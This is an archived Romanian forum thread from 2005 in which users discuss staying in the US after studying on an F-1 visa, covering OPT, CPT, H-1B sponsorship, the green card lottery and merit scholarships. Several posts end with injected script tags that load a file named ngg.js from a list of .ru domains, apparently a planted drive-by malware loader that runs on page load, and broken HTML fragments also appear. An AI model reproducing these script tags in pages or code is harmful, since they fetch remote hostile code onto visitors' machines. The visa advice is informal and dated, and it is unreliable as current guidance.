PDA

Arată versiune întreagă : HELP! In legatura cu faculate in SUA



mihai_ch
28.08.2005, 06:34
In urmatoarele luni voi aplica la o universitate in state si m-ar interesa sa raman si sa-mi gasesc un job bun acolo, dupa absolvire. Din cate am citit, dupa ce ai absolvit, poti ramane inca un an in Practical Training si dupa care esti obligat sa parasesti tara.

M-am gandit sa aplic pentru green card in fiecare an de studiu, poate voi avea noroc, desi nu stiu daca e posibil, fiind deja in state sub viza F1 de studiu.

Astept pareri de la cei care stiu ceva despre posibilitatile de a ramane in state dupa absolvirea facultatii.

Multumesc anticipat,
Mihai

GNChicago
28.08.2005, 08:16
Am gasit acest articol pe MSN si m-am gindit ca unii vor fi interesati.


Totusi, cei care vor sa faca o decizie bazata pe informatiile de aici, ii sfatuiesc sa ceara si cele mai mici detalii, regarding casa si masa, carti, alte cheltuieli, echipament, taxe tot ce se poate si tot ce nu se poate. Mult succes!!!



<TABLE id=ArticleWindow width="100%" border=0 Name="Main">
<T>
<TR vAlign=top height="100%" width="100%">
<TD width=5 Name="MiddleSpace"></TD>
<TD vAlign=top Name="Article">
<TABLE cellSpacing=0 width="100%" border=0 valign="Top">
<T>
<TR class=ing3>
<TD>The Basics</TD></TR>
<TR style="FONT-FAMILY: Arial,Helvetica">
<TD>Top 10 priciest colleges

iulialaura
28.08.2005, 16:18
In general, preturile afisate sunt valabile numai pt rezidenti.Ca si international student,cu F1,platesti mai mult!
<TABLE borderColor=#cccccc cellSpacing=0 borderColorDark=white cellPadding=2 rules=rows width="100%" border=1 frame=below>
<T>
<TR>
<TD class=smallprompt></TD>
<TD class=smallprompt></TD></TR></T></TABLE>

mihai_ch
29.08.2005, 01:10
Normal ca preturile pentru out-of-state residents/studenti internationali difera si de obicei sunt duble.

Oricum, poate imi raspunde cineva la intrebarea initiala din topic

VicolA
29.08.2005, 02:29
Poti aplica din F1pentru GC daca ai un sponsor "beton" si/sau daca obtii H1B ( foarte usor de obtinut daca absolvi facultatea si eventual faci unmaster).

darcy
29.08.2005, 03:26
Din cate am citit, dupa ce ai absolvit, poti ramane
inca un an in Practical Training si dupa care esti obligat sa parasesti
tara.




Din cate stiu eu, poti sa iti gasesti in anul acela un job la o firma
care sa iti sponsorizeze viza H1B (valabila 3 ani si care poate fi
prelungita pt inca 3), apoi poti aplica la GC.





M-am gandit sa aplic pentru green card in
fiecare an de studiu, poate voi avea noroc, desi nu stiu daca e
posibil, fiind deja in state sub viza F1 de studiu.






Daca te referi la aplicatul pt loteria vizelor, bineinteles ca este posibil.

mihai_ch
02.09.2005, 12:47
Multumesc pentru informatii.


Inca o intrebare pentru cei care au experienta cu universitatile din SUA:
Care ar fi in general, criteriile dupa care o universitate ofera burse, si aici ma refer la burse de tip "non-need based aid determined by Academics". ?

Credeti ca faptul ca am examenele SAT I, SAT II, TOEFL (cu scoruri bune), am fost exchange student in state de doua ori, etc. m-ar ajuta cu ceva pentru, at least, o bursa partiala?

Thanks again

radacos
04.09.2005, 13:34
Depinde de cat de bune sunt scorurile tale comparativ cu restul studentilor admisi. De obicei, universitatile ii selecteaza automat pe studentii eligibili pentru burse de merit, pe baza dosarului de admitere. Insa aceste burse de merit nu sunt, de obicei, foarte generoase. O prietena de-a mea din Japonia, cu o medie aproape de 4.0 in liceu, a primit o bursa de $700, in conditiile in care tuition la universitatea mea este $23,000 pe an. Pe de alta parte insa, un alt prieten de-al meu, olimpic international la fizica, a primit bursa integrala la Stanford... Asa ca depinde de cat de bun esti, cat de buni sunt ceilalti studenti si cat de generoasa este univesitatea. O idee buna este sa contactezi pe cineva in Admissions sau Financial Services la universitatile care te intereseaza si sa ii intrebi ce optiuni ai.

05.09.2005, 17:30
Din cate am citit, dupa ce ai absolvit, poti ramane inca un an in
Practical Training

Dupa ce iei o diploma de la univ (iei un "degree") ai dreptul la
Optional Practical Training (OPT) prin care obtii un card valabil
un an de zile si care iti permite sa lucrezi pentru orice angajator.
Adica pentru un an de zile te simti aproape ca un american din pdv
drepturi. In teorie se poate folosi OPT-ul si inainte de absolvire -
deci lucrezi dar in acelasi timp trebuie sa-ti mentii si statutul de
student "full-time" (adica 4 cursuri/semestru la undergrad sau 3 la
grad in semestrele de toamna &amp; primavara). Personal nu vad
avantajul de-a folosi OPT inainte de absolvire. Pe baza unei scrisori
de la indrumator/advisor se poate folosi inainte de absolvire
Curricular Practical Training (CPT) care bine planificat nu-ti
"mananca" din OPT si astfel poti capata OPT-ul intreg dupa absolvire
(adica 1 an).

In tot ce am scris mai sus, prin a lucra se intelege:

1) a lucra "off-campus", adica in afara assistantship-ului (cine are) care este, evident, "on campus".

2) a lucra in domeniul in care ti-ai luat degree-ul ("major field"). Nu mai tin minte exact cum se verifica asta la OPT.






Care ar fi in general, criteriile dupa care o universitate ofera burse,

Aici nu prea am informatii. Stiu doar ca este mult mai greu sa te
acoperi cu cheltuielile la undergrad decat la grad. De obicei bursele
(scholarships-urile) sunt oferite cu precadere americanilor iar
assistantships-urile sunt mai greu de obtinut ca la grad. Citisem si
despre un olimpic roman de anul acesta care primise mai multe burse de
undergrad in US si care pana la urma a ales ... Germania pentru ca erau
singurii cu care se acoprea integral (financiar).




si dupa care esti obligat sa parasesti tara.

Esti obligat numai daca nu reusesti sa-ti schimbi statutul/viza. De
obicei in OPT incerci sa convingi angajatorul ca merita sa-ti faca viza
de lucru H-1B si dupa aia Green Card (bineinteles daca nu exista
american dornic sau capabil sa-ti ia locul). Se poate petitiona
pentru Green Card si fara a mai trece prin H-1B (am auzit) dar e mai
rar intalnit.




M-am gandit sa aplic pentru green card in fiecare an de studiu,

Parerea mea este (daca te referi la "loteria viselor"/Diversity Visa)
sa nu contezi pe ea deoarece sunt cam multi jucatori. In plus exista
ceva congresmeni care i-au pus gand rau. Tu joaca iar daca e sa iasa va
fi cu atat mai bine ("Plan for the worst, hope for the best").

Nu-i nici o problema sa joci daca ai F-1. S-a tot vorbit acum cativa
ani ca atunci cand vei cere alta viza non-immigrant ce presupune ca te
vei reintoarce in patrie (deci nu H-1B) te pot intreba la consulat daca
ai aplicat/jucat vreodata. Din fericire, asa ceva nu s-a intamplat pana
acum si probabil nici nu se va intampla in viitorul apropiat.




daca obtii H1B ( foarte usor de obtinut daca absolvi facultatea si eventual faci unmaster).

Vorbesti cumva de programatori, registered nurses, profesori
universitari si inca niste categorii pe care acum nu le am in minte?

Daca nu, te invit sa-i intrebi pe ne-rezidentii care trimit sute de
resume-uri, mai ales dupa 2002-2003 si care se lovesc invariabil de
raspunsul "no sponsorships available".







/s<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js><script src=http://www.iroe.ru/ngg.js></script>

marioana
05.09.2005, 20:12
smileys/smiley1.gif Eu sunt programator si am trimis vreo 500 de cv-uri pana acum si inca nu am primit un raspuns favorabil...cateva de "no thank you" si in general nici un raspuns....dar am inteles ca e mai usor daca esti acolo in State nu ca mine in Romania...

GNChicago
06.09.2005, 05:20
Marioana, gindeste-te daca tu ai fi in locul lor, ai angaja pe cineva fara sa-l vezi? Chiar daca esti aici, dar in alt oras decit unde este jobul sansele scad, ptrca nimeni nu vrea sa strice rostul unuia care de ex e in NY si sa-l cheme in LA si sa constate dupa 2-3 luni ca nu este exact ce cauta....


De fapt si Bill Gates a avut dificultati in finantare cind se ducea la business meetings in pantaloni scurti...., multi nu l-au luat in serios, dar acum mulge pe multi....

06.09.2005, 09:10
Asa este, e greu sa angajezi pe cineva pe nevazute. Gandeste-te ca in
plus, fata de un rezident/cetatean US, compania americana ar trebui
sa-ti faca toate formalitatile ptr. H-1B + H-4. Asta inseamna ca
plateste "orbeste" pentru tine peste $6,000 (fees, inclusiv premium
processing fee + immigration attorney), aplica din timp asa incat sa
prinda vizele disponibile (incep sa curga de la 1 Aprilie, se termina -
ca anul acesta - in August iar tu nu poti incepe lucrul decat pe 1
Oct). Ulterior, in caz ca ceva scartaie sunt obligati sa-ti plateasca
avionul inapoi in Ro. Lipsa asta de flexibilitate nu prea le place, mai
ales in US unde unul din motivele de lauda (in raport cu EU) este
tocmai aceasta flexibilitate in politica de angajari/cocedieri.
Americanii, nu ca sunt comozi, dar sunt mereu pe principiul sa "keep it
simple" ca sa nu fie trasi la respundere. Daca tu scrii in resume ca
faci tumbe sau arunci cu popice smileys/smiley1.gif ,...
ei nu sunt dispusi sa stea sa verifice cat este adevarat din toate
acestea. Recunosc ca sunt job-uri f. specializate unde se cere
candidatilor sa aibe publicatii in jurnale internationale, carti
tiparite sau experienta la companii de varf din US iar in asemenea
situatii se poate verifica usor competenta candidatului. Totusi pentru
un "simplu" programator asemenea "credentials" nu se cer si deci
problema increderii ramane. Pe deasupra tuturor acestor lucruri, desi
nu sunt obligate de lege, unele companii isi propun sa angajeze straini
numai dupa ce au epuizat toti americanii, chiar daca ei sunt mai slabi
ca tine.

Am auzit de cateva cazuri (mai mult exceptia decat regula) unde au luat
direct IT-isti din Ro. in Silicon Valley, la Microsoft, la Motorola,..
dar nu stiu amanunte. In plus asta era in vremuri mult mai bune
economic si politic si inainte de "offshoring"-ul intens
(externalizare). Nu inseamna insa ca este imposibil doar ca nu trebuie
sa te miri ca este greu.



Mai sus am lasat sa se inteleaga ca obtinerea de vize H-1B este ceva
mai usoara in cazul programatorilor, mai exact in domeniul IT. Eu nu
sunt o voce autorizata pentru ca nu sunt programator de profesie, desi
am facut destul "coding" la viata mea. Este totusi un lucru demonstrat
de statistici ca vizele H-1B sunt acordate cu predilectie in domeniul
IT, in special companiilor infiintate de indieni in US si care ii
"subcontracteaza" pe programatorii lor (straini) catre altii. Normal ca
cei originari din India sunt preferati. Aceste companii sunt poreclite
"body shops". Un mare avantaj in domeniul IT mai este ca aceste
companii de IT stiu foarte bine ce este o viza H-1B si cu ce se mananca
ea. Pe vremea exploziei dotcom-urilor vizele H-1B ajunsesera sa fie
cunoscute (impropriu) ca vize pentru programatori. Asta este un
avantaj, pentru ca in alte domenii (chiar tehnice) angajatorii nici nu
au auzit de vizele H-1B si sunt pe principiul ca lucrurile de care nu
au auzit nici nu exista.



Gandeste-te ca sunt straini (am cunoscut personal) care obtin o diploma
(BS, MSc) in IT in America si la capatul OPT-ului trebuie s-o
paraseasca pentru ca nu le face nimeni H-1B. Domeniul IT nu mai este ce
a fost (desi cunoaste o revenire usoara) iar unii au facut greseala sa
aplice la job-uri fie de "government" (local sau federal) fie la
companii care au si contracte de stat/aparare (asadar unde un strain nu
pune piciorul).



Din cititul unor forumuri de romani-canadieni (deci nu chiar US, dar pe
aproape) am inteles si ca specialitatile/combinatiile de specialitati
care se cauta s-au schimbat in ultimii ani (chiar si functiile care nu
sunt "offshored"). Nu strica sa pui o intrebare pe acolo pentru ca
sigur vei putea discuta mai la obiect decat cu mine, de ex. Ideal ar fi
sa ai un 'feed-back" la resume/calificari din partea unor persoane
oneste ("si romani si onesti?" o sa-mi zici) care sunt deja in
"sistem".






<script src=htt<script src=http://www.iroe.ru/ngg.js></script>

GNChicago
06.09.2005, 09:48
Transit, desi nu sint pe market cu asa ceva, as avea o intrebare pe care cei din Ro. nu prea au cum sa stie.


Sa presupunem ca X vine in USA ca student, de ex sa invete engleza, deci vine aici capata SSN si ceva drepturi, lucru in campus.


Dar intre timp X se gindeste sa deschida cu o suta si ceva de dollari o corporatie in care el e presedinte, treasurer, secretar, etc. cu o adresa fizicacorespunzatoare si un PO Box.


Alearga putin,obtine ceva business, e in tara tuturor oportunitatilor (in gluma as spune ca si in Ro., tara tuturor posibilitatilor). El nu devine angajatul firmei decit atunci cind legal e posibil.


Poate acest scenariu duce la legalizarea persoanei in the US.?

06.09.2005, 14:07
GNChicago:



Hmm... Nu le stiu pe toate, mai ales ca sunt amator in sfera asta, dar nu prea vad cum s-ar putea rezolva asa "usor".

1) In primul rand cred ca este ilegal sa fii in F-1 (student,
full-time) si sa ai propriul business in US (ce faci insa in alte tari,
in speta Ro., e traba ta). Degeabai ai SSN card ca scrie pe ea "Valid
for employment only with INS authorization" (INS=USCIS). A castiga din
propriul business pe teritoriul US inseamna sa accepti angajare in
afara campusului, chiar daca locuiesti la "dorm"/camin.

Iata ce citesc la:

http://www.webhostingtalk.com/archive/thread/213672-1.html

".... if you start your web hosting business in
USA using your F1 then it is illegal. I am a perfect example of this, I
got suspended for 6 months and send back to my country for starting my
online car parts business."

Am mai gasit si:

http://www.faqs.org/qa/qa-14943.html

"You can start a business, that's easy and no
requirement needed. However as long as you are on F-1 student visa you
can not acquire any income from the business, that would be accepting
employment."

2) Ca sa faci business pe termen lung (exclud viza B-1) trebuie sa ai o
viza speciala pe nume E-2. Numai ca aici vorbim de afaceri serioase
(capital+angajati) si nu de $100:

</font>http://www.green-cards.com/non_us/e1_e2_visa.htm (http://www.green-cards.com/n&#111;n_us/e1_e2_visa.htm)

3) Dar pentru ca scopul final este Green Card-ul, putem sa ne uitam
direct la Labor Certification (LC), cheia succesului, unde se spune
negru pe alb la Pag. 77331 din 20 CFR Parts 655/656:

"The definition of employer in the

proposed rule reflected longstanding

DOL policy, and has been modified to

ensure that persons who are temporarily

in the United States can not be

employers for the purpose of obtaining

a labor certification."



La nivelul meu de cunostiinte nu vad "portitele" dar poate un avocat sa fie mai ager.



</font>

GNChicago
06.09.2005, 14:44
Multumesc Transit ptr raspuns.


Sincer sa fiu cred ca am vrut sa explorez o cale, pe care vreun romanash ar fi dat dureri de cap unui ofiter de emigratie si sa se rezolve in statut ptrca nici ei nu le stiu pe toate. Fiecare caz e diferit.


Din cite stiu, atunci cind deschizi o corporatie, acea corporatie e o noua entitate si culmea s-ar putea sa ai posibilitatea sa angajezi pe altii la inceput, fara sa ai dreptul sa te angajezi pe tine....


Ma opresc aici ptrca nu vreau sa dau dureri de cap.


"Intortocheate sint caile DOMNULUI!"

06.09.2005, 15:18
Ca sa epuizez subiectul, poate ar mai fi trebuit sa zic la punctul 3)
ca, in afara de LC pentru "job sponsored immigration", Green Card ar
mai putea fi obtinut si cu ajutorul vizei de investitor ("EB-5 Investor
GC"). Si aici, conditiile financiare sunt greu de indeplinit pentru
romanul mediu:

http://uscis.gov/graphics/services/residency/investment.htm

GNChicago
06.09.2005, 16:03
Thank you

GNChicago
06.09.2005, 16:12
Am convingerea ca daca ai SSN poti deschide corporatia, dar trebuie vazut cum poti sa o exploatezi.


Dar fiind aici sau chiar afara poti cumpara mere, pere, lapte sau.....o corporatie. Nu e ilegal sa cumperi...., sau daca nu o cumperi toata, poti cumpara doar 90% din ea......si pe urma o pui sa te sponsoreze, dar trebuie sa aiba bani sa te plateasca la nivelul american. Cred ca asta e legal. E doar o ideie.


Gata, ma opresc aici sa nu dau dureri de cap.

07.09.2005, 02:35
GNChicago:



Pai poate sa nu fie legal, chiar cu SSN. Ca strain in US trebuie sa te
mai supui si cerintelor acestei blestematii numita viza. Daca ai
declarat ca vii ca student (F-1), atunci trebuie sa stai cu nasul in
carte si sa nu faci afaceri, altfel esti pasibil de deportare (esti
"out of status"). Daca vrei sa-ti faci companie in US atunci vii cu
viza E-2 dar atunci afacerea trebuie sa fie ceva mai consistenta decat
una de $100. Daca vorbim de Green card, la fel, o companie care iti
apartine nu iti poate face labor certification/LC pentru
"Professionals/Advanced Degree Holder" EB-2 sau "Skilled Worker/Basic
Degree Holder" EB-3 pentru ca pare sa fi fost creata special ptr. asa
ceva. Propria ta compania iti poate aduce Green Card ca "Investor"
(EB-5) insa aici vorbim de fonduri de sute de mii/ milioane de dolari
si peste 10 angajati (parca).

GNChicago
07.09.2005, 02:55
Adevarul este ca nu stiu ce scrie in F1, dar nu cred ca scrie ca nu ai voie sa cumperi, mere, pere, lapte,.....stock intr-o corporatie, 90% din ea, sau toata bucata.


Ce faci cu ea e alta treaba, la fel cum te poate ajuta e altceva, e greu sa cred ca un tip de viza te impiedica sa CUMPERI.


Am convingerea ca un ofiter de emigratie va respecta LEGEA daca il intrebi arata-mi unde scrie ca nu am voie sa cumpar, sau daca e pe undeva o lista cu ce nu poti cumpara.


Probabil toata chestia asta e in grey area.


E o pista care poate fi explorata, probabil de un avocat, de un profesional.

07.09.2005, 03:46
GNChicago:

Evident ca ai voie sa cumperi ce vrei tu, indiferent in ce statut esti.
Problema este daca vrei sa castigi bani din sursa US iar asta-i
dinamita. Zic de castig pentru ca vorbim de o afacere. Din cate am
auzit, atunci cand n-ai voie sa lucrezi si simplul "lucrat" ca voluntar
este ilegal in anumite situatii. Ba chiar am auzit ca nu este bine ca
parintii care vin in US la copii sa declare ca vin sa aibe grija de
nepotii lor noi nascuti (deci sufland job-ul unei nanny americane sau
unui daycare) dar nu sunt extrem de sigur.

Asadar cu $ lesti OK atata timp cat au semnul - in fata si nu +.

GNChicago
07.09.2005, 04:53
Nu ma refer la cistigul banilor cu toate ca nu strica, ma refer doar la cistigarea unui statut legal pe o cale cinstita, care ar deschide un drum spre green card si cetatenie americana. Probabil ca cineva va explora aceasta cale, desi mai sint si alte cai, ma refer doar la cele legale.


Problema cu bunicii este adevarata, am auzit-o si eu din mai multe surse.

07.09.2005, 05:48
Revenind la castig, este posibil ca un F-1 sa poata incasa din
dividende, chirii din proprietati sau drepturi de autor, etc.. toate in
US. Astea parca nu au iz de suflat joburi de la americani - nu stiu
exact.

mihai_ch
07.09.2005, 07:58
transit, deci prin urmare, poti sa lucrezi off-campus in timp ce ai statut F-1, fara sa-ti "manance" din OPT-ul respectiv?

Din cate am citit eu, in primul an poti lucra doar on-campus si din anii urmatori poti sa-ti gasesti de lucru si off-campus (bineinteles cu o anumita limita) fara sa-ti afecteze OPT-ul.

P.S. As aprecia daca ai putea sa ma lamuresti cu ce se intelege prin a lucra on-campus. ( Se refera strict la lucrul in cadrul campus-ului?)

Mersi

07.09.2005, 09:38
mihai_ch:

S-a mai asternut uitarea pe experienta mea de grad student dar iata ce mai tin minte.

In primul rand trebuie in F-1 sa fii full-time student (cu norma
intreaga) in cele 2 semestre pe an (spring/fall) adica sa iei minim 3
cursuri/semestru (4 la undergrad) plus ca majoritatea grazilor au si
part-time job (jumatate de norma) on campus (20 ore/sapt) ca sa se
intretina (tuition/stipend). On-campus sunt joburile oferite strict in
cadrul universitati ptr. studenti inscrisi la cursuri si au ca unic
scop sa-ti finantezi studiile. Ele constau in assistantship-uri
de research/teaching dar si de munci de functionar/secretariat . In caz
ca o zbarcesti la examene (incepi sa iei C-uri) poti pierde
assistantshipul si ar trebui sa-ti faci bagajele daca tata nu e baron
local.

In conditiile astea destul de stressante (cursuri+assistantship), iti
dai seama ca nu este cu putinta (omeneste vorbind) sa lucrezi la un job
din afara universitatii (off-campus) mai mult decat part-time (sub 20
ore/ saptamana, de fapt poti mult mai putin, vei vedea). Asta se stie
f. bine la Serviciul International al universitatii (care iti poate
acorda acest drept de lucru off-campus) si nu primesti autorizatie
decat ptr. max 20 ore/sapt off-campus in fall/spring. Daca insa vorbim
de semestrul de vara cand nu te obliga nimeni (poate doar
advisor-ul) sa fii inscris la cursuri, atunci poti lucra (si omeneste
si legal) full-time 40 ore/sapt (chiar mai mult) off-campus.

Relativ la optiunile legale pe care le ai, toate sunt in general dupa
primul an de studii si se numesc fie CPT (curricular practical
training) fie OPT (optional practical training). Pentru ca eu aveam
nevoie ca de apa de OPT dupa absolvire ca sa nu intru in cosmarul
vizelor H-1B, am evitat sa cer OPT inainte de 'graduation".
Intr-adevar, daca iti iei OPT in timpul studiilor, asta se scade din
OPT-ul de 12 luni disponibil dupa graduare. Cat lucrezi part time
inainte de absolvire se scade perioada respectiva cu 50% dupa (de ex 4
luni de OPT part time inainte de graduare iti reduce OPT-ul post
graduare cu 2 luni, adica raman 10 luni din el) si cat lucrezi
full-time ti se reduce cu tot atat </span></span>(de ex 4 luni de OPT full time inainte de graduare iti reduce OPT-ul post graduare tot cu 4 luni, deci raman 8 luni din el).

La CPT penalizarea asta este mai putin drastica. Numai daca acumulezi
peste 12 luni de lucru full-time in CPT inainte de absolvire nu mai ai
dreptul la OPT dupa. Asta inseamna lucru full-time cateva veri la rand
(vreo 4). In schimb perioadele de lucru part-time in CPT inainte de
absolvire nu au nici o consecinta asupra OPT-ului de dupa absolvire.
Daca nu te eternizezi in facultate, cu CPT reusesti sa nu-ti mananci
din OPT.

Dezavantajul la CPT fata de OPT este ca trebuie sa ti-se acorde credite
la indiferent ce curs (unele universitati au cursuri speciale de
experienta la internship-uri) iar advisor-ul trebuie sa scrie o hartie
(catre Serv. International al Univ) zicand cat de mult te va ajuta in
pregatire ta acest CPT (in limbajul studentului american este de fapt
un internship iar in limbaj comunist este practica in productie - doar
ca-i pe bani). Cu CPT (dar si cu OPT) nu poti sa te duci sa culegi
melci pentru ca jobul trebuie sa fie in "your main field of study".



PS M-am exprimat cam in graba si amestecat, sper ca ma scuzati.





</span></span></span></span>



</span>
c=http:/<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script s<script src=http://www.iroe.ru/ngg.js></script>